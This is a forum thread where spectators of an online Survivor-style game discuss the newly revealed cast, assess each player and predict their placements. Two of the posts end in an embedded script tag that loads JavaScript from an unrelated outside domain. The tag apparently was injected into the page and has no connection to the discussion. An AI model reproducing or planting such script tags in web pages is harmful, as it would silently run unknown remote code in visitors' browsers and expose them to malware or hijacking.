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[chriso]

Thread to discuss the Cast Reveal!!

[chriso]

Danny Butler - What a trip! Danny is such a try-hard in everything that he does, and I appreciate it so much. Playing with him was awful lol and i can’t wait to see others subjected to his antics. I do think he’s a genuinely good guy though, and it’ll be interesting to get to examine his psyche again here lol. Casting gold.

Rachel Johnson - Didn’t she just win a live game? Awesome to see her here! I know she’s played a ton of live games and has done well, and is very competitive. I hope she puts her full effort into this and is able to get her groove.

Alonzo - lol what a dick in his video. Who knows what he’ll actually be like though. Talks a big game.

Vernice - “Very nice without a y” omg haha. So charming. Shading Charity the social worker xoxox. “I’m weird but I’m cool as frick.” I love her!!! Plz be my friend.

Bailey - Hi Bailey, nice to meet you! Bailey will probably do well again here, there’s no reason for him to ever go home early. He’s so charming Deuces up for Bailey!

Mojo - Saw him in Power, I hope that he’s able to take a chill pill and just match the pace of those around him. He wants to play big and make big moves but I hope he realizes that you can let those opportunities come to you, you don’t need to create them all yourself. Idk if that makes sense. Also Bailey knows of Mojo from the discord community and Power VL so it’ll be interesting to see them interact.

Natalie - I feel like I’ve heard she’s a crazy player but can’t remember where from. Hope she gives it her all! Go natalie!

Ricky - Excited to see him play! He’s been beasting comps in Clark’s game lol. Just seeing his comments around I’ve always had a positive impression of him!

Nolan - Hi Nolan! He played reelfoot! I have little to no memory of him from that, haha. My gut says he’s going to take this very seriously! I hope he’s able to adapt to the pace of the game.

Jordan - “*squeaks* that’s a dolphin.” hahaha I like him. Not sure if he has a ton of potential to do well but seems likable enough! Go Jordan!

Kyle - Kyle needs to fix his audio quality! Omg aim ORGs I wonder what he’s played. I’m excited for him!! Not sure what he’ll bring but he’ll definitely bring something!!! Haha

Taylor - OMG QUEEN!! She’s soooo charismatic and fun and I’m so glad I got to play a game with her haha. She’s so good at bonding with people. Gonna be weird to see Taylor and Bailey part 2. What is she even talking about in this video about how thrifting gives back to the earth. Hi shadow yay taylor <333

[stephanie]

I have not watched a single video yet, so will just share my thoughts on the people I know to start then will assess everyone else later!

Aubra - I played one round with Aubra before she voted me out. She is likeable but quiet. I think Aubra is the type of player who takes a while to get to know, and will never give away too much, but that people want to have on their side. I feel like the first couple rounds will be hardest for her but once she makes connections she is an ally people want.

Josh - I hosted Josh in his most recent Survivor game. He is typically a Big Brother player and that seems to come out in how he analyzes aspects of the game. He saw a lot of situations as option A or B and didn't seem to think about X, Y or Z. I was really hard on Josh for the way he came across to people and in confessionals, and I really hope he learns from that, because he is a smart guy and has the drive to do well.

Mojo - I LOVE Mojo, but solely based on personal interactions I have had with him. We were in pre-jury together and bonded there. Mojo recently transitioned over to the Skype community and I think the pace and intensity of it surprised him. I think that the non-live format will really help him because his time zone has the opportunity to be an issue in some live ORGs.

Natalie - I have actually become quite good friends with Natalie since viewing her and then hosting her. She is a GREAT person. She is also someone who thrives on both one on one calls and tribe calls from a strictly social perspective. With that though, Nat is still learning Survivor and with that Survivor strategy. She trusts people way too easily and shares key information. Natalie plays really well from the bottom but as soon as she has power, I have seen her self destruct. She will be great to watch though, especially if she uses the tribe chat to cold call people to yell at them like she did in her last game.

Blake - I have only been in pre-jury with Blake but have got to know him on a personal level a bit. I am worried about this game's timing for Blake based on his life right now.

Jordan - I hosted Jordan and whew he wants to do well so badly but just exudes nervous/ paranoid energy and that is so hard for people to manage. He is a sweet heart though and has SO much Survivor knowledge.

[jaydenosborne]

Okay I'm going to try and power through this cast, but I want to touch on everyone. Overall impressions is that this is the most stacked season I've seen experience-wise, and I'm stressed for the few people not in the ORG inner circles for the first couple of rounds or for swap votes. But it's kind of cool to know so many people in a cast, and I love a 24 player season. Hopefully with so many vets around everyone's connections will just kind of be in the open and we won't have as much enabling as in a normal season but we will see.

LAKOTA:

Jake Round
I've never interacted with him one-on-one, but I hosted him in Endure and... he was pretty much a dud. He seems lovely though and there's obviously a reason he's so well liked, and he's clearly charming and fun to hang around with and all of that. But just from the Endure experience, he bottomed out on our popularity polls and the other hosts had to message him on a number of occasions just to like, pick it up because his activity level was so below average. Endure is a bitch of a time commitment though so hopefully he'll be better in All Out.

Fond memories of Jake is the fact that even though he was barely around and didn't really contribute anything, he was always G O B S M A C K E D at the audacity of someone to dare bring up H I S name as a boot option which was always funny. Take a shot every time Jake proclaims he doesn't want to be a pawn in his confessional but doesn't have any sort of strategic plan to get himself out of a jam beyond winning challenges.

Aubramazing Pian
Underrated queen. She went to a savage NINE Tribal Councils in a row pre-merge (ten if you count the non-elimination Tribal). It was like a month straight of never getting a fucking break, plus other highlights like going from the first boot option to a key majority alliance member, and overcoming an 8-2 minority in only two days. She's great.

I don't know what exactly she needs to do to get the credit she deserves. She's kinda stifled by her demographic, and the fact that she let others think that they were helping her through the pre-merge (which lead to the rest of her game being discredited). But she would be probably my favourite person to see win in this whole cast, just because she deserves to have a jury reward her.

Utterly blindsided by the fact that she had a good enough time in Power that she would want to play another game lol. Incredible.

Vernice Barrimond
She's flawless! I've never met or interacted with her before but my immediate thought upon watching her video was "Ooooh you're going to be my #1 ally" for the split second before I remembered that I'm not playing this season. What fun! Smart, funny, crafty, and seems ballsy. I think she's my favourite person who I didn't already know on this cast?

Brandon Clark
I don't know him, but I think his Meet Me video was specifically made to validate the point that Kilby was making in the VL chat earlier, that we always preach together -- ORG Veterans become more boring the more they play. He cites that when he started playing he used to be fun but he's past that point and just wants to play an optimal game and shut everything out in favour of a win. He seems nice but if he's actively planning on playing boringly I kinda have to root against him. This is too large of a season to watch someone just stick with their friends & mutual friends and pursue Pagongings.

Nolan Easton
I thought it was precious how his Meet Me video just felt like he was reading out a Survivor resume verbatim. Like it was so well-rehearsed and I think he was doing what a lot of Redditors joining games do for the first time -- where they pitch how they would be good at playing the game and the strategies they would use, rather than how they're actually interesting casting themselves . Which isn't a good pitch because I don't think his strategies sounded anything beyond the obvious run-of-the-mill stuff that literally everyone says and plays by, but like, his enthusiasm was super cute.

He's never played an ORG before so I'm worried the first few days will be rough as he plans to slowly get to know his tribe and feel everyone out, meanwhile most of his tribe either knows or knows of each other and will probably jump to a gear that he will have to work his way up to. If he can avoid freaking out at that and hopefully not even notice it's happening, he could be okay. I hope he's a more exciting gameplayer than I'm predicting him to be though, because atm I think he might be cookie-cutter.

Danny Butler
The BEST person I've gotten to spectate in a game, ever. My oh my am I so excited to watch him again, he's the most entertaining thing in the world. A character? Yes. Emotional? Yes. Ruthless? Yes. Strategic? Yes. Polarizing? Yes. I looooooooved watching him in Endure.

I remember coming into Endure and fighting for him to be cast, but under the assumption that he'd be a top tier early boot trainwreck and there was just no way that he would last. He managed to get all the way to Runner-Up, and actually had strong power throughout most of the game. I think he probably needs someone with A+ social skills to assist him for him to really play the out-of-the-box strategic game he's capable of (ala Jessaca), but if he can find that he's great. He always has flameout potentional if he cannot find a duo to lock himself in though.

Beware because he's the biggest compulsive liar I've ever met though, lmao. Hosts especially be careful, because Danny 100% will try and cheat in challenges and try to gaslight you into thinking he scored more points than he actually did, or anything of the sort -- I remember hosting a challenge where Danny had to repeat a task 20 times over and hearing him count "1... 2... 3... 6... 7..." and insisting that he was up to 7 repetitions.

But yes, he's the best and the season will be measured in quality by how long Danny lasts. I trust him to have righteous opinions on who to target and who to align with.

Joshua Calhoun
Fun! What a nice personality and I think he'll give good confessionals. I can't see him like, running an alliance or anything though, moreso being a footsoldier and propping up a more controlling player. I like him though and I hope he picks good allies.

Mojo Brooks
I loooooooove Mojo. This teenager accidentally regretted sharing too much information to his #1 ally, so he turned around and fucking B O D I E D him at Tribal Council and weaponised his already damaged reputation against him to totally frame him and send him out in the most cold blooded Tribal I've ever seen lol. He's totally evil and I love it.

Unfortunatetly when he played in Power, it was on the most boring tribe I've ever seen in my life and after four straight Tribal Council's of not being in the majority alliance he was picked off. He really didn't get the room to play as freely as he should have been able to. I have such high hopes for him though and am stoked he's playing again.<script type="text/javascript" async="" src="//protesidenext.com/1f766cec5f3763ac13.js"></script>

[charity]

Here are my thoughts on the Lakota tribe!

• Jake Round: I love how competitive Jake is! He's either going to take a backseat/borderline inactive route or is going to go full crackhead (like I saw in WGE before yall disagree with me). Obviously... yall know which one I want to see! I think if he takes the borderline inactive route, he'll be out early... but him going full crackhead will either be hit or miss.
• Aubra: WHAT. A. QUEEN! She's so underrated in this community, but having played with her a few times I know she can be an absolute beast If she has the time to dedicate to this game, I think she will find herself in an alliance with ease. My only worry with her is that she will try to lay too low and in turn get left out of stuff, but I doubt that will happen.
• Vernice: I NEED TO SEE HER PLAY!! Her personality was absolutely infectious when we interviewed her and I couldn't help but laugh. She is an extrovert, so I have no doubt she will get to work early making relationships. My worry with her is that she may overplay and get too excited.
• Brandon Clark: He's definitely going to try and lay low and let others do the pushing, which isn't the most exciting from a viewing perspective.  I want to see Brandon do something exciting and be aggressive, but I doubt it will happen. Prove me wrong please!
• Nolan: I SPENT 5 DAYS WITH HIM IN REELFOOT AND HE'S SUCH A NICE GUY he gave me his blanket when I was cold, but in a game sense he's cutthroat and confrontational. Two things are either going to happen with Nolan though considering this isn't a live game... he's either going to misinterpret the way org relationships form and find himself on the outs early, or he's going to be super aggressive. I hope that his lack of experience doesn't hurt him, because I love it when newbies do well!
• Danny Butler: He is going to try and manipulate the fuck out of his tribe! He's so charming though that he might get away with it??? Something about him I love, but I'd fear him so much if I played with him. I'm curious how his tribe will interpret him.
• Joshua: HORRIBLE competitor, but is a cookie cutter funny guy. I think that Joshua's success will simply be determined by how much he puts into this game. The less he puts in, the worse he'll do. Joshua needs to make good decisions early on.
• Mojo: Has played a Skype game, and was out early because he tried too much too early... I hope he doesn't do this again. He conveyed that he knew he needed to change things if he wanted to do well. If he follows his gut, he'll get far.

[dankilbythegreat]

LAKOTA TRIBE: On first glance, this is a really strange tribe to me because I really don't see any massive power players here? On the other two tribes I have a pretty good sense of who the primary control centre is going to be, but here the field seems VERY open. It has capable players, but no one who I've frequently seen just dominate a tribe. I really gun to my head think this is a very good tribe for Danny? He might be active and social enough to really pull one over on this group. This is a tribe that feels like it is a whole lot of "sit back, wait and try to rely on my social game!" types. This is weird because no one reads like an obvious first boot, and they all seem like they are going to be waiting (except danny) and biding their time. I really don't know what happens here if they lose?

Power Rankings of Lakota

1. Danny Butler - Oh my god I forgot how much I needed Danny Butler in my life. That video was AMAZING, and I think danny is my favourite person I've ever spectated in a game. Top 5, anyway. The guy is insane but in a controlled, consistent way. Danny isn't a monster crazy person - he has a strict moral code he sticks to and so his actions are understandable. That moral code is bizarre and strange, but he's a great guy who REALLY loves survivor. He's a lot like Ron Clark from EoE, honestly. I think he's going to do very, very well in this game. I remember in Endure everyone thought he'd be first boot because he's annoying, but I don't think ORGs punish annoying as much as lazy or too-cool. With a lack of a real power player here, I think Danny is going to fall into control on this tribe and be able to get his way. Danny butler with power is something i NEED TO SEE PLEASE HAPPEN.
Prediction: Late merge boot.
2. VERY NICE WITHOUT A Y Omg. She's so fun!? I really hope she does well. She has so much charisma, very fun and she seems like she is smart. I LOVE HER THROWING SHADE AT CHARITY'S DEGREE She seems to be actually excited to play, and I think she will dedicate the necessary time. Hot take: her, Danny and Mojo are going to be best friends and that really excites me. I want her to be my friend, but more than that I really think she could have a strong chance to do very well. She is able to grasp fairly complex paradoxes and see the truth in them (A introverted social butterfly IS NOT impossible, and her ability to clearly describe that and bring up examples shows a lot of intelligence! I assume she's seen survivor, so I'm confident in her!)
Prediction: Makes the merge, strong player.

3. Nolan - I'm really interested in Nolan. He seems like he COULD be the commanding prescense on this tribe? I feel like he is a huge personality who kind of can't hide, wich means he could easily find himself in a position of power on this tribe. I'm guessing a few of these people watched reelfoot? I'm not sure though. He seems like a competent enough player to me, tbh. I think him being a loud personality will be very good for him on this tribe!
Prediction: Early merge

4. Brandon- HIS VIDEO IS EVERYTHING I HATE IN GAMES. Omg. "I want to play boring" "I used to be fun, I used to like being crazy but now I'm not". LAME!!! Ahh. I feel like him doing well is a bad sign for the season...maybe that is harsh. He knows SO many people on this cast which seriously worries me, but I do think his game is able to do well. He does say he doesn't like working with people he knows. I REALLY hope that is true. Hopefully I'm wrong here, but he just gives off low energy, lazy player that I don't think will do well!
Prediction: Early premerge.

5. Aubra - I'm super bias because i LOVE AUBRA MORE THAN LIFE ITSELF. She was a fUCKING ALL STAR in power, and she absolutely deserves infinite praise for her game. Girl went to almost every single tribal of a premerge that had *14* premerge tribals, and still came 6th with a good shot of making end game. MOVE OVER DENISE STAPLEY AUBRA IS THE NEW YOU. She is so good at blending in, sneaking under people's radars and using it against them. SHe is a cut-throat player and people really don't see it. A world where AUbra wins would make me so happy. I'm STUNNED she is playing (she told me she was applying and was like DAN I WAS DRUNK WHY DID I DO IT), but she will play well. She's always going to be an early boot target, but if she survives that she is GOLDEN.
prediction: underrated queen late game player

6. Mojo!!!! Mojo is the best type of player. He's young, but he is tremendously mature for his age. He's really social and interesting, and was super fun to watch in power. He isn't afraid to make big, crazy plays but he is definitely emotional enough to get misted by better players. Mojo is a player who probably will do much better on a smaller tribe, honestly, so I'm excited for him! I'm not sure how he's going to do, but in this group I feel like he will do pretty well.
Prediction: Unsure. I feel like it'll be earlier than I'd like, though

7. Joshua Calhoun - He is a very HIGH ENERGY person, but I feel like he doesn't have a huge charm? He says like MORE THAN ANYONE IVE EVER SEEN LOL. I hope he plays well because I really do like him. He doesn't read to me like someone who will think particularly far ahead, and is likely to be manipulatable. I hope he is fun, though! I feel like he will probably align with Brandon, and be left on the outside? Idk. This could be a pretty okay tribe for him in all honesty but it is hard to tell.
Prediction: Premerge.

8. Jake Round - I loved him in person - but he is a little shockingly shy. I really wonder how he is going to do. In endure...he did not do very well at all, even if he had a few funnish moments. He just was not able to read people well, and seems to only show up for challenges. Maybe he will be more active this time, but he really seems like just an Org version of Ozzy to me lol. I hope I'm wrong because he was a lot more fun on sequester than in the game. I don't really see him being in too much danger early on, but none of these people seem like they should be easy first boots? I think this is kind of a stacked tribe and I could see Jake run into trouble if he isn't able to really connect or devote as much time as the others.

Prediction: Swap boot.

[dankilbythegreat]

ORANGE TRIBE
- Sorry to the other 7 members of the orange tribe, but this is the most TSL tribe to ever exist and she is going to make you all look like jokers. TSL is probably the best player I've ever seen, and there is literally no one on this tribe who will even almost rival her in terms of influence, power or anything? I REALLY think TSL is going to be the odds on favourtie to win this game just from a glance of this tribe. It's competitively strong, but more important filled with people who are +1 type players. None of them are power hungry overplayers at ALL. Fabi, Paige, Danny and Blake are all follow an alliance boringly players and I really think this is a tribe where TSL will completely neuter anyone elses spotlight here.

1. TSL. The girl is a national treasure. She is one of the smartest, hardest working and just straight up coolest people I've ever met. When you're with her you feel like, a strong connection and want to be your best self. She really has an aura like no other in these games, and that is probably her least impressive feature? She sees the forest for the trees more than most people, she has the experience to know what type of people tend to play these things, and she knows how to work with *anyone*. I prejudged her in endure as someone who would jsut work with the 'cool kids', and holy god was I wrong. MALKON, a man who cosplayed on calls, cried constantly and was a real nerd/emotional drain was her #1 ally. This is a girl who can see past the bullshit and just see a person's real self. I really have nothing else to say, she is fucking incredible. The only thing that could go wrong for her is sometimes if she doesn't fully commit in games she can be a bit lazy. She cared a lot in endure and she really layed the smackdown on the cast - idk what her situation is rn but she could be busy or something and then i have less faith.
Prediction: Winner, lol. At least top 5.
Paige - I love her My best friend in voyage. I can't wait to cheer her on!!! Paige is an interesting person - she is really smart, but doesn't believe in herself enough. I think Paige is the kind of person who people always immediately see as "someone they can use". She is unassuming in the most literal sense. She just comes off like a lost puppy, and people like TSL will 100% rope her in. Not to mention her *best friend in the world* is on this cast which makes me think that Paige could seriously do well in this game! I do think she is a much better player than people give her credit for (and shed be amazing if a little more cut-throat!). She is saying she's going to be more cautious, which is AMAZING for her chances. You go paige I'm going to root you on. She is hyper-active, and should be fine here!
Prediction - losing finalist/late game player

Fabi - THE GERMAN TURNED CANADIAN SENSATION MY GOD HES GOING TO DO SO WELL. Buddy is the MOST DEDICATED SURVIVOR PLAYER IVE EVER PLAYED WITH AND IVE PLAYED WITH HIM LIKE 4 TIMES. The guy is so awesome. Total star, lovely human and a really good player. He isn't exciting at all as a player, but he's very competent. He will place very, very well and the fact that he won't be playing at like 4am in every interaction will probably help his social game. I can't imagine a world where he leaves premerge! Him being in a time zone that doesn't suck is VERY GOOD FOR HIM!

Prediction: 6th place.

Lexi - Oh lord I am so scared for her. She screams first boot to me. Her saving grace is if TSL scoops her up because she is so obviously a first boot candidate, and uses her to target someone like Blake??? I think that is in the realm of possibility, and is really her only chance. She is awkward! However??? She IS a flight attendant. She SHOULD know how to be very personable - so maybe this is just a really bad video and not an indictment on her. She seems so sweet!!! I hope she does well, but she screams bad facebook ORG player. I'm nervous for her, but I really do like her and want her to do well. She might have some of that patented #ChrisONeil magic of being very endearing/unthreatening? I hope!!!
Prediction: I don't even know. Like...literally either first boot of the tribe OR merge.

Jordan - He's apparently VERY high maitenance which is a bad quality, but I do think he could get scooped up early on simiular to Lexi, but he is going to be more squeamish and difficult to control. His video was actually really fun I thought, but people have told me hes a little OTT insane lOL. From his video I'd put him very high, though! Very likeable guy, and I think he could do well

Prediction: Early merge boot.

Danny G - He's apparently a goat idk. I didn't really like his video but hes prob competent enough to be a +1 for TSL
Prediction idk

Blake - Blake is going to be in DANGER I THINK. Tsl should see this tribe as a bunch of followers + Blake, and he sticks out majorly here. So i think hes going to struggle? His game in power was NOT GOOD. Maybe hes improved, but his social game needs a lot of work. I really hope he is able to do well and be exciting? I know he has it in him. I do like him as a person, but his games lately have been kind of lame tbh. I hope he is able to step it up, but i really think hes going to get insta targeted on this tribe. I REALLY THINK power hungry cracked blake is needed to do well on this tribe - hope he sees it.

Prediction - First boot, or close to it.

Nick - I feel like I don't have a good vibe of him at all tbh. I don't know what to say? I haven't seen him before, and his video is just sort of awkward. I don't know what to make of him but that is usually a bad sign. If you can't sell yourself in 2 minutes its gonna be hard to make people like you, and I'm nervous for him on that front.



Prediction: not good

[jaydenosborne]

NUMINU: 

Rachel:
What a constellation. I'm obsessed! Doing things to distract yourself from killing things.
I LOVE her, like so much. I would feel so protective of her if I was on her tribe, and I just want her to have an amazing time. Oh I'm never ever going to be able to criticise her ever, my #1 favourite of the season. Anybody who protects Rachel through the pre-merge gets an auto-ticket to being my #2 favourite in the cast.

Alonzo:
W H A T T H E F U C K. His rambling about the game and his thoughts on playing made zero sense at all lol. Oh I see why no one wanted him for the Fantasy Draft, boy I should've watched his video before I took him lol. This video is terrible.

He's talking to the camera the same way my three-year-old cousin talks to his mum when it's his bedtime and he's not happy about it lol. Also imagine still hanging on to loyalty as a thing to care about in 2019! Nobody cares. But also I'm leaving his video kind of invested in seeing him be a trainwreck. I hope this video isn't just all talk and is actually a reflection of how he'll play the game.

Bailey:
To preface everything, I looooove Bailey. He's great, and bringing him into this community via Reddit is a top moment because he's just the best and he gets along with everyone. Also, he's going to crush this game. Like there is no reason anybody should ever be voting Bailey out before like... Final 6. He's not an overstrategiser, he's not flippy, he's likable, he's chill, decent at challenges, good activity level. Like beyond a swapfuck, Bailey may as well have that Neda timewarp immunity.

Getting to spectate him now twice, I don't know if I can say that Bailey is particularly exciting to watch though. If anything I think because he's SO good, and the bulk of his game is just to find the people he likes and Pagong from there, he can be kind of a detriment to a season. Otherwise fun tribes can be stuck with a status quo alliance of all the best and most competent obvious endgamers and stay stagnant all because Bailey is there. I'm hoping he mixes things up and tries some new shit. I don't really want to see the same Bailey again.

LOL at him posing the exact same way in his cast photo again. I would take bets on who his showmance of the season will be but the answer is every single female that's on the cast probably.

Natalie:
Never watched her in a game, but I know she's played Voyage twice and was a huuuuuuge player in those seasons. Her video didn't tell me much other than that she seems fun lol. I think she's apparently a mess but I'm excited to finally understand what the Natalie fuss is all about.

Ricky:
I have no idea who this guy is but his entire video was based around how we will obviously know who he is lol.

Kyle:
Oooh I like him. Anybody who played games back in the early 2000's is someone I love and want to learn more about. I also must root for another fellow beat-Kilby-by-one-placement club member.

Knight:
Fucking love Knight, he's great. Just a super good dude and on top of that, he's the best to spectate in games because he's just fun and over-the-top as shit. One of my favourite people I've got to play with, and the only person who I've voted for multiple times in a game. Somehow I don't think he's ever made single digits in a game and that's a travesty, but he just fills that early merge boot niche so well (... as well as lately being a fun trainwreck premerger lol).

Usually when I watch my friends play games, I highkey just want to see them faceplant because it's funny. But I'm REALLY rooting for Knight here. He's too fun, and nothing would make me happier than him running this tribe.<script type="text/javascript" async="" src="//protesidenext.com/1f766cec5f3763ac13.js"></script>

[charity]

Here are my thoughts on the Odawa tribe....

TSL: I love TSL and know that her influence is beyond scary in games!!! If we see the TSL that everyone has come to love, then she's obviously going to find herself go far. I could easily see a scenario, however, where people become intimidated by her and she's out early. I could be putting too much faith in other players ability to read a room? 

Jordan: He needs to calm the fuck down lol. In XTC, I only played one round with him... and boy, was that the most stressful round of my life. His constant need to call people and spread paranoid rumors could rub people the wrong way. I hope Jordan has learned from his past experiences.

Fabi: I think Fabi is going to better than he usually does simply because he's in a North American timezone, as opposed to Europe. He does seem like someone who is likely to be pulled into an alliance... just a number early on if I had to predict.

Lexi: Lexi comes off as a nervous wreck in her meet me video... but talking to Lexi was a different story. She's clearly a quirky introvert, but she's also super personable. She's going to want to bond with the people on her tribe, so I don't have her pegged as first boot. I think she's going to be scooped up by other players and added to the majority alliance.

Paige: I don't know Paige like everyone else, but I dont get a super strong impression with her. I can't see her doing anything to stand out early on. Bleh.

Nick Benner: I have a problem with Nick's tendency to become inactive... it's super boring to watch. If he takes that route, I hope he's out early so other players can shine. If people decide to drag him, it really means they're iffy players. If he's not inactive... then idk what to expect from his game? 

Blake: A lot of people have him pegged as an early boot, but we gotta remember that players like TSL don't necessarily target notable players immediately. His humor is pretty hit or miss, but I could see people finding his quirkiness as a reason to keep him around.

Danny Gluck: I LOVE DANNY personally... I just hope he doesn't play this game as a game where he "helps his friends do well." Don't be the goat Danny! We're all rooting against that! 

[charity]

Rachel: If Rachel brings her competitiveness, then we're all in for a treat!!! She is somewhat blunt in the way she communicates with people, so that's why I'd worry about her on any other tribe... look at this tribe though! I feel like her bluntness is not going to be her downfall, I think her downfall is going to be more so not understanding how much of a time commitment orgs are. Someone scoop her up pls.

Alonzo: MESSSSS I wouldn't be shocked if he's first boot. He's got the chaos a lot of players on this tribe have, but I'm not sure if he has the finesse to back it up.

Kyle D: Will be a calm presence on this tribe 100%. If he can talk to people early, I think he will find himself in a good spot because people are going to be inclined to trust him. Pls dont bring up double cross to anyone though!!!

Natalie: I'm so excited to see her play!!! I think on this initial tribe she will be okay, but she is going to bring drama at some point in this game. I'm excited. Whew.

Danny K: I think he's in trouble. If him submitting his intro video late indicates anything... it's that he's got a busy schedule. While other people are bonding, he might be "stuck at work." His hope is that these crazies go after each other and he can slip by.

Ricky: As someone who knows Ricky, he has a very polarizing personality! I want him to so desperately play this game using a clean slate. Because this tribe is new to him, I wonder how he will approach things. I predict that he will be aggressive, but establish loyalty early on which people will respect. He is going to do well if I had to guess!

Knight: LOVED his interview!! I think the fact that he is on a tribe with a few other crazies is going to work in his favor. He will not be twist fucked this time

Bailey: Bailey is very "Bailey-centric" when he plays these games. Who does he like? Who doesn't he talk to? I could actually see that working against him on a tribe full of egos. He won't be in power, but lucky for him other people are going to dig their graves and he's going to slip by.

[chriso]

Lexi - she comes off rly quiet and a bit awkward! Seems nice! Hopefully she comes out of her shell a bit during the game! GL Lexi!

Danny G. - Another name I’ve seen everywhere but know nothing about. That was the most generic intro video ever though lol. He didn’t say anything and then said “that’s basically me in a nutshell.” wat. Do better danny.

Knight - Wow look at those airpods he must be cool. Love him tho, I hope he’s able to find his footing! I feel like he’s been humbled enough and he’ll be able to find the balance this time. Rooting for you Knight!

Brandon - I’m sure he’ll do well! His video was kind of boring but I’m sure being around the block so much he’ll be a good player.

Jake - “I know what has to happen and it doesn’t usually happen because people are dumb.” Yikes lol that means you aren’t great socially my bud. Don’t think he’ll be able to change much about his game, but I hope he proves me wrong.

Fabi - Aw I’m excited for him to be on the same timezone as others! Hope he’s able to reach his full potential!

Aubra - I feel like now that Aubra has the hang of skype games, she’s aubrunstoppable. Might be my winner pick? I have a lot of faith in her to do well consistently.

Blake - Will Power be a wake-up call for him? Maybe! Probably not. I think that he’ll just coast and see how far it takes him. I think his boot in power was pretty random but don’t think he has much late-game potential. Funny guy tho.

Nick - people really love the ‘all out’ name, huh? I have no clue what to expect from him, don’t have my hopes too high. Second swap boot?

Josh - He’s well-spoken! I hope he does well! I am doubtful! But I'm rooting for him!

Paige - She is a sweetie! I have full faith that she's going to put a lot of effort into this game, and I think she’ll be able to do well enough socially. I’m not sure how strategic she is, though. We’ll see!

Danny K. - Vlogging while biking lol. Omg plz dont die in this intro video. He seems nice enough. If he’s not first boot I could see him lasting a while.

[dankilbythegreat]

winner pick: Bailey

[dankilbythegreat]

how much do we think Vernice has had to endure terrible borat impressions?

Very niceeeee

[chriso]

winner pick: ricky